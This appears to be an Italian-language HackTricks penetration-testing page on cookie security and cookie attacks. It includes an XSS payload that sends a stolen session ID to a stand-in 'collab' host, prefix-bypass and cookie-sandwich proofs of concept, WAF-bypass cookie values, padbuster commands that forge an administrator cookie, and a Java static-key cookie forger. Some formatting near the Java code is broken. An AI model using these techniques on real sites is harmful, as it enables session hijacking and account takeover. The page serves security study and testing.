Cookies Hacking
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Attributi dei Cookie
I cookie hanno diversi attributi che controllano il loro comportamento nel browser dellâutente. Ecco una panoramica di questi attributi in tono piĂš neutro:
Expires and Max-Age
La data di scadenza di un cookie è determinata dallâattributo Expires. Al contrario, lâattributo Max-age definisce il tempo in secondi dopo il quale un cookie viene eliminato. Preferire Max-age in quanto riflette pratiche piĂš moderne.
Domain
Gli host che ricevono un cookie sono specificati dallâattributo Domain. Per impostazione predefinita, questo è impostato sullâhost che ha emesso il cookie, senza includere i suoi sottodomini. Tuttavia, quando lâattributo Domain è impostato esplicitamente, comprende anche i sottodomini. Ciò rende la specifica dellâattributo Domain unâopzione meno restrittiva, utile per scenari in cui è necessario condividere i cookie tra sottodomini. Ad esempio, impostando Domain=mozilla.org i cookie diventano accessibili sui suoi sottodomini come developer.mozilla.org.
Path
Lâattributo Path indica un percorso URL specifico che deve essere presente nella URL richiesta affinchĂŠ venga inviato lâintestazione Cookie. Questo attributo considera il carattere / come separatore di directory, permettendo anche le corrispondenze nelle sottodirectory.
Ordering Rules
Quando due cookie hanno lo stesso nome, quello scelto per lâinvio si basa su:
- Il cookie che corrisponde al path piĂš lungo nella URL richiesta.
- Il cookie impostato piĂš di recente se i path sono identici.
SameSite
- Lâattributo
SameSitestabilisce se i cookie sono inviati su richieste che originano da domini di terze parti. Offre tre impostazioni: - Strict: Impedisce che il cookie venga inviato su richieste di terze parti.
- Lax: Permette che il cookie venga inviato con richieste GET avviate da siti terzi.
- None: Consente al cookie di essere inviato da qualsiasi dominio di terze parti.
Ricordare che, durante la configurazione dei cookie, comprendere questi attributi aiuta a garantire che si comportino come previsto in diversi scenari.
| Request Type | Example Code | Cookies Sent When |
|---|---|---|
| Link | <a href=ââŚâ></a> | NotSet*, Lax, None |
| Prerender | <link rel=âprerenderâ href=â..â/> | NotSet*, Lax, None |
| Form GET | <form method=âGETâ action=ââŚâ> | NotSet*, Lax, None |
| Form POST | <form method=âPOSTâ action=ââŚâ> | NotSet*, None |
| iframe | <iframe src=ââŚâ></iframe> | NotSet*, None |
| AJAX | $.get(ââŚâ) | NotSet*, None |
| Image | <img src=ââŚâ> | NetSet*, None |
Table from Invicti and slightly modified.
Un cookie con lâattributo SameSite mitigherĂ gli attacchi CSRF quando è richiesta una sessione autenticata.
*Notare che da Chrome80 (feb/2019) il comportamento predefinito di un cookie senza attributo samesite sarĂ Lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Notare che temporaneamente, dopo lâapplicazione di questa modifica, i cookie senza una policy SameSite in Chrome saranno trattati come None durante i primi 2 minuti e poi come Lax per richieste POST cross-site top-level.
Flag dei Cookie
HttpOnly
Questo impedisce al client di accedere al cookie (ad esempio via Javascript: document.cookie)
Bypass
- Se la pagina sta inviando i cookie come risposta a una richiesta (ad esempio in una pagina PHPinfo), è possibile sfruttare una XSS per inviare una richiesta a quella pagina e rubare i cookie dalla risposta (vedere un esempio in https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- Questo può essere bypassato con richieste TRACE HTTP poichÊ la risposta del server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata Cross-Site Tracking.
- Questa tecnica è evitata dai browser moderni non permettendo lâinvio di una richiesta TRACE da JS. Tuttavia, sono stati trovati alcuni bypass in software specifici, come inviare
\r\nTRACEinvece diTRACEa IE6.0 SP2. - Un altro metodo è lo sfruttamento di vulnerabilità zero-day dei browser.
- Ă possibile sovrascrivere i cookie HttpOnly eseguendo un attacco di Cookie Jar overflow:
- Ă possibile usare un attacco Cookie Smuggling per esfiltrare questi cookie
- Se qualsiasi endpoint lato server riflette il session ID grezzo nella risposta HTTP (es., dentro commenti HTML o un blocco di debug), è possibile bypassare HttpOnly usando un gadget XSS per richiedere quellâendpoint, applicare una regex al segreto ed esfiltrarlo. Esempio di pattern per payload XSS:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
Secure
La richiesta invierà il cookie solo se la richiesta HTTP è trasmessa su un canale sicuro (tipicamente HTTPS).
Prefissi dei cookie
I cookie prefissati con __Secure- devono essere impostati insieme al flag secure da pagine protette da HTTPS.
Per i cookie prefissati con __Host-, devono essere soddisfatte diverse condizioni:
- Devono essere impostati con il flag
secure. - Devono avere origine da una pagina protetta da HTTPS.
- Ă vietato specificare un dominio, impedendo la loro trasmissione a sottodomini.
- Il path per questi cookie deve essere impostato su
/.
Vale la pena notare che i cookie prefissati con __Host- non possono essere inviati a superdomini o sottodomini. Questa restrizione aiuta a isolare i cookie dellâapplicazione. Pertanto, usare il prefisso __Host- per tutti i cookie dellâapplicazione può essere considerata una buona pratica per aumentare sicurezza e isolamento.
Sovrascrittura dei cookie
Quindi, una delle protezioni dei cookie prefissati con __Host- è impedire che vengano sovrascritti da sottodomini. Impedendo, per esempio, Cookie Tossing attacks. Nella talk Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) viene mostrato che era possibile impostare __HOST- prefixed cookies da un sottodominio ingannando il parser, per esempio aggiungendo â=â allâinizio o allâinizio e alla fineâŚ:
 (1) (1) (1) (1).png)
Oppure in PHP era possibile aggiungere altri caratteri allâinizio del nome del cookie che sarebbero stati sostituiti da underscore, permettendo di sovrascrivere i cookie __HOST-:
 (1) (1) (1) (1).png)
Unicode whitespace cookie-name smuggling (prefix forgery)
Abusa delle discrepanze tra il parsing del browser e quello del server preponendo un code point di spazio Unicode al nome del cookie. Il browser non considererĂ il nome come se iniziasse letteralmente con __Host-/__Secure-, quindi permette lâimpostazione da un sottodominio. Se il backend rimuove/normalizza gli spazi Unicode iniziali sulle chiavi dei cookie, vedrĂ il nome protetto e potrĂ sovrascrivere il cookie ad alto privilegio.
- PoC da un sottodominio che può impostare cookie del dominio padre:
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
-
Comportamento tipico del backend che abilita il problema:
-
Frameworks che trim/normalizzano le chiavi dei cookie. In Django, Pythonâs
str.strip()rimuove unâampia gamma di punti codice di whitespace Unicode, causando la normalizzazione del nome in__Host-name. -
I punti codice comunemente rimossi includono: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000âU+200A (8192â8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).
-
Molti frameworks risolvono nomi di cookie duplicati come âlast winsâ, quindi il valore del cookie normalizzato controllato dallâattaccante sovrascrive quello legittimo.
-
Le differenze tra browser sono importanti:
-
Safari blocca whitespace Unicode multibyte nei nomi dei cookie (es. rifiuta U+2000) ma permette ancora i singoli byte U+0085 e U+00A0, che molti backend rimuovono. Testare su piĂš browser.
-
Impatto: Permette la sovrascrittura di cookie
__Host-/__Secure-da contesti meno fidati (sottodomini), il che può portare a XSS (se riflesso), override del token CSRF, e session fixation. -
Esempio on-the-wire vs vista del server (U+2000 presente nel nome):
Cookie: __Host-name=Real; ââŹâŹ__Host-name=<img src=x onerror=alert(1)>;
Molti backend suddividono/analizzano e poi rimuovono gli spazi, facendo sĂŹ che il __Host-name normalizzato assuma il valore dellâattaccante.
Legacy $Version=1 cookie splitting sui backend Java (prefix bypass)
Alcuni stack Java (es., Tomcat/Jetty-style) ancora abilitano il parsing legacy RFC 2109/2965 quando lâintestazione Cookie inizia con $Version=1. Questo può causare che il server reinterpreti una singola stringa di cookie come piĂš cookie logici e accetti una voce __Host- contraffatta che era originariamente impostata da un sottodominio o anche da unâorigine non sicura.
- PoC forcing legacy parsing:
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
-
PerchĂŠ funziona:
-
I controlli sul prefisso lato client vengono applicati durante lâimpostazione, ma il parsing legacy lato server in seguito divide e normalizza lâheader, bypassando lâintento delle garanzie di prefisso
__Host-/__Secure-. -
Dove provare: Tomcat, Jetty, Undertow, o framework che ancora rispettano gli attributi RFC 2109/2965. Combina con la semantica di sovrascrittura per nomi duplicati.
Duplicate-name last-wins overwrite primitive
Quando due cookie vengono normalizzati nello stesso nome, molti backend (incluso Django) usano lâoccorrenza finale. Dopo che lo smuggling/legacy-splitting produce due nomi __Host-*, quello controllato dallâattaccante tipicamente avrĂ la precedenza.
Detection and tooling
Usa Burp Suite per sondare queste condizioni:
- Prova piĂš punti di codice Unicode whitespace allâinizio: U+2000, U+0085, U+00A0 e osserva se il backend taglia e tratta il nome come prefissato.
- Invia
$Version=1per primo nellâheader Cookie e verifica se il backend esegue legacy splitting/normalizzazione. - Osserva la risoluzione dei nomi duplicati (prima vs ultima occorrenza) iniettando due cookie che si normalizzano nello stesso nome.
- Burp Custom Action per automatizzare questo: CookiePrefixBypass.bambda
Tip: Queste tecniche sfruttano il gap octet-vs-string di RFC 6265: i browser inviano bytes; i server decodificano e possono normalizzare/tagliare. Le incongruenze nella decodifica e nella normalizzazione sono il nucleo del bypass.
Attacchi sui cookie
Se un cookie custom contiene dati sensibili controllalo (soprattutto se stai giocando a un CTF), perchĂŠ potrebbe essere vulnerabile.
Decoding and Manipulating Cookies
I dati sensibili incorporati nei cookie dovrebbero sempre essere esaminati. I cookie codificati in Base64 o in formati simili possono spesso essere decodificati. Questa vulnerabilitĂ permette agli attaccanti di alterare il contenuto del cookie e impersonare altri utenti ricodificando i dati modificati nel cookie.
Session Hijacking
Questo attacco comporta il furto del cookie di un utente per ottenere accesso non autorizzato al suo account allâinterno di unâapplicazione. Usando il cookie rubato, un attaccante può impersonare lâutente legittimo.
Session Fixation
In questo scenario, un attaccante induce una vittima a usare un cookie specifico per effettuare il login. Se lâapplicazione non assegna un nuovo cookie al momento del login, lâattaccante, in possesso del cookie originale, può impersonare la vittima. Questa tecnica si basa sul fatto che la vittima effettui il login con un cookie fornito dallâattaccante.
Se hai trovato una XSS in un sottodominio o controlli un sottodominio, leggi:
Session Donation
Qui, lâattaccante convince la vittima a usare il cookie di sessione dellâattaccante. La vittima, credendo di essere loggata nel proprio account, eseguirĂ involontariamente azioni nel contesto dellâaccount dellâattaccante.
Se hai trovato una XSS in un sottodominio o controlli un sottodominio, leggi:
JWT Cookies
Clicca sul link precedente per accedere a una pagina che spiega i possibili difetti nei JWT.
I JSON Web Tokens (JWT) usati nei cookie possono anche presentare vulnerabilità . Per informazioni approfondite sui possibili difetti e su come sfruttarli, è consigliabile consultare il documento collegato su hacking JWT.
Cross-Site Request Forgery (CSRF)
Questo attacco costringe un utente autenticato a eseguire azioni indesiderate su unâapplicazione web in cui è attualmente autenticato. Gli attaccanti possono sfruttare i cookie che vengono inviati automaticamente con ogni richiesta al sito vulnerabile.
Empty Cookies
(Check further details in theoriginal research) I browser consentono la creazione di cookie senza nome, cosa che può essere dimostrata tramite JavaScript come segue:
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
Il risultato nellâheader cookie inviato è a=v1; test value; b=v2;. Ă interessante che questo permetta la manipolazione dei cookie se viene impostato un cookie con nome vuoto, potenzialmente permettendo di controllare altri cookie impostando il cookie vuoto su un valore specifico:
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
Questo porta il browser a inviare un header cookie interpretato da ogni web server come un cookie chiamato a con valore b.
Chrome Bug: Problema con codepoint surrogato Unicode
In Chrome, se un codepoint surrogato Unicode fa parte di un cookie impostato, document.cookie viene corrotto, restituendo in seguito una stringa vuota:
document.cookie = "\ud800=meep"
Questo fa sĂŹ che document.cookie restituisca una stringa vuota, indicando una corruzione permanente.
Cookie Smuggling a causa di problemi di parsing
(Consulta ulteriori dettagli nellaoriginal research) Diversi web server, inclusi quelli Java (Jetty, TomCat, Undertow) e Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), gestiscono in modo errato le stringhe dei cookie a causa del supporto obsoleto di RFC2965. Interpretano un valore di cookie racchiuso tra doppi apici come un unico valore anche se contiene semicolons, che normalmente dovrebbero separare coppie chiave-valore:
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
Cookie Injection Vulnerabilities
(Consulta ulteriori dettagli nellaoriginal research) Lâerrata interpretazione dei cookie da parte dei server, in particolare Undertow, Zope e quelli che usano Pythonâs http.cookie.SimpleCookie e http.cookie.BaseCookie, crea opportunitĂ per cookie injection attacks. Questi server non delimitano correttamente lâinizio di nuovi cookie, permettendo agli attaccanti di spoof cookies:
- Undertow expects a new cookie immediately after a quoted value without a semicolon.
- Zope looks for a comma to start parsing the next cookie.
- Pythonâs cookie classes start parsing on a space character.
Questa vulnerabilità è particolarmente pericolosa nelle applicazioni web che si basano sulla protezione CSRF via cookie, poichĂŠ permette agli attaccanti di inject spoofed CSRF-token cookies, potenzialmente bypassando le contromisure di sicurezza. Il problema è aggravato dalla gestione dei nomi di cookie duplicati in Python, dove lâultima occorrenza sovrascrive quelle precedenti. Solleva inoltre preoccupazioni per i cookie __Secure- e __Host- in contesti non sicuri e potrebbe portare a bypass di autorizzazione quando i cookie vengono passati a back-end suscettibili a spoofing.
Cookies $version
WAF Bypass
According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.
Cookie Sandwich Attack
According to this blogpost itâs possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:
- Trova un punto dove un apparente cookie inutile viene riflesso nella risposta
- Create a cookie called
$Versionwith value1(puoi farlo in un attacco XSS da JS) con un path piĂš specifico in modo che ottenga la posizione iniziale (alcuni framework come Python non necessitano di questo passaggio) - Create the cookie that is reflected con un valore che lascia una doppia virgoletta aperta e con un path specifico in modo che sia posizionato nel cookie db dopo il precedente (
$Version) - Poi, il cookie legittimo andrĂ subito dopo nellâordine
- Create a dummy cookie that closes the double quotse allâinterno del suo valore
In questo modo il cookie vittima viene intrappolato allâinterno del nuovo cookie versione 1 e verrĂ riflesso ogni volta che viene riflesso. e.g. from the post:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
WAF bypasses
Cookies $version
Vedi la sezione precedente.
Bypassing value analysis with quoted-string encoding
Questo parsing indica di interpretare le sequenze di escape nei valori dei cookie, quindi â\aâ diventa âaâ. Questo può essere utile per bypassare i WAFS come:
eval('test') => forbidden"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
Bypassing cookie-name blocklists
Nella RFC2109 è indicato che una virgola può essere usata come separatore tra i valori dei cookie. à inoltre possibile aggiungere spazi e tab prima e dopo il segno di uguale. Pertanto un cookie come $Version=1; foo=bar, abc = qux non genera il cookie "foo":"bar, admin = qux" ma i cookie "foo":"bar" e "admin":"qux". Nota come vengono generati 2 cookie e come ad admin siano stati rimossi gli spazi prima e dopo il segno di uguale.
Bypassing value analysis with cookie splitting
Infine, diversi backdoors unirebbero in una singola stringa diversi cookie passati in intestazioni cookie separate, come in:
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
Il che potrebbe consentire il bypass di un WAF, come in questo esempio:
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
Controlli aggiuntivi per cookie vulnerabili
Controlli di base
- Il cookie è uguale ogni volta che fai login.
- Log out e prova a usare lo stesso cookie.
- Prova a log in con 2 devices (o browsers) allo stesso account usando lo stesso cookie.
- Controlla se il cookie contiene informazioni e prova a modificarlo
- Prova a creare diversi accounts con username quasi identici e verifica se puoi vedere somiglianze.
- Controlla lâopzione âremember meâ se esiste per vedere come funziona. Se esiste e potrebbe essere vulnerabile, usa sempre il cookie di remember me senza altri cookie.
- Verifica se il cookie precedente funziona anche dopo aver cambiato la password.
Attacchi avanzati ai cookie
Se il cookie rimane lo stesso (o quasi) quando fai log in, probabilmente significa che il cookie è relativo a qualche campo del tuo account (probabilmente lo username). Allora puoi:
- Prova a creare molti accounts con username molto simili e cerca di indovinare come funziona lâalgoritmo.
- Prova a bruteforce lo username. Se il cookie serve solo come metodo di autenticazione per il tuo username, allora puoi creare un account con username âBminâ e bruteforce ogni singolo bit del tuo cookie perchĂŠ uno dei cookie che proverai sarĂ quello appartenente a âadminâ.
- Prova Padding Oracle (puoi decifrare il contenuto del cookie). Usa padbuster.
Padding Oracle - Esempi di Padbuster
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Padbuster effettuerà diversi tentativi e ti chiederà quale condizione è la condizione di errore (quella che non è valida).
Poi inizierĂ a decrypting the cookie (potrebbe richiedere diversi minuti)
Se lâattacco è stato eseguito con successo, allora potresti provare a encrypt una stringa a tua scelta. Per esempio, se volessi encrypt user=administrator
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
Questa esecuzione ti restituirĂ il cookie correttamente criptato e codificato con la stringa user=administrator allâinterno.
CBC-MAC
Un cookie potrebbe contenere un valore che viene firmato usando CBC. In questo caso lâintegritĂ del valore è la firma creata utilizzando CBC sullo stesso valore. PoichĂŠ è comune usare come IV un vettore nullo, questo tipo di controllo di integritĂ potrebbe essere vulnerabile.
Lâattacco
- Ottieni la firma dello username administ = t
- Ottieni la firma dello username rator\x00\x00\x00 XOR t = tâ
- Imposta nel cookie il valore administrator+tâ (tâ sarĂ una firma valida di (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00
ECB
Se il cookie è cifrato usando ECB potrebbe essere vulnerabile.
Quando effettui il login il cookie che ricevi dovrebbe essere sempre lo stesso.
How to detect and attack:
Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
Create a user called for example âaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaâ and check if there is any pattern in the cookie (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
There should be a pattern (with the size of a used block). So, knowing how are a bunch of âaâ encrypted you can create a username: âaâ*(size of the block)+âadminâ. Then, you could delete the encrypted pattern of a block of âaâ from the cookie. And you will have the cookie of the username âadminâ.
Static-key cookie forgery (symmetric encryption of predictable IDs)
Alcune applicazioni creano cookie di autenticazione cifrando solo un valore prevedibile (es., il user ID numerico) con una chiave simmetrica globale hard-coded, poi codificando il ciphertext (hex/base64). Se la chiave è statica per prodotto (o per installazione), chiunque può forgiare cookie per utenti arbitrari offline e bypassare lâautenticazione.
How to test/forge
- Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
- Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
- Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
- Set the forged value directly as the cookie and browse; no credentials are needed.
Minimal Java PoC (IDEA + hex) used in the wild
```java import cryptix.provider.cipher.IDEA; import cryptix.provider.key.IDEAKeyGenerator; import cryptix.util.core.Hex; import java.security.Key; import java.security.KeyException; import java.io.UnsupportedEncodingException;public class App { private String ideaKey = â1234567890123456â; // example static key
public String encode(char[] plainArray) { return encode(new String(plainArray)); }
public String encode(String plain) { IDEAKeyGenerator keygen = new IDEAKeyGenerator(); IDEA encrypt = new IDEA(); Key key; try { key = keygen.generateKey(this.ideaKey.getBytes()); encrypt.initEncrypt(key); } catch (KeyException e) { return null; } if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) { for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) { plain = plain + â â; // space padding } } byte[] encrypted = encrypt.update(plain.getBytes()); return Hex.toString(encrypted); // cookie expects hex }
public String decode(String chiffre) { IDEAKeyGenerator keygen = new IDEAKeyGenerator(); IDEA decrypt = new IDEA(); Key key; try { key = keygen.generateKey(this.ideaKey.getBytes()); decrypt.initDecrypt(key); } catch (KeyException e) { return null; } byte[] decrypted = decrypt.update(Hex.fromString(chiffre)); try { return new String(decrypted, âISO_8859-1â).trim(); } catch (UnsupportedEncodingException e) { return null; } }
public void setKey(String key) { this.ideaKey = key; } }
</details>contesto (ad es., sessione lato server con ID casuale, o aggiungere proprietĂ anti-replay).
## Riferimenti
- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
- [Burp Custom Action â CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)
> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** đŹ [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
>
> </details>
HackTricks

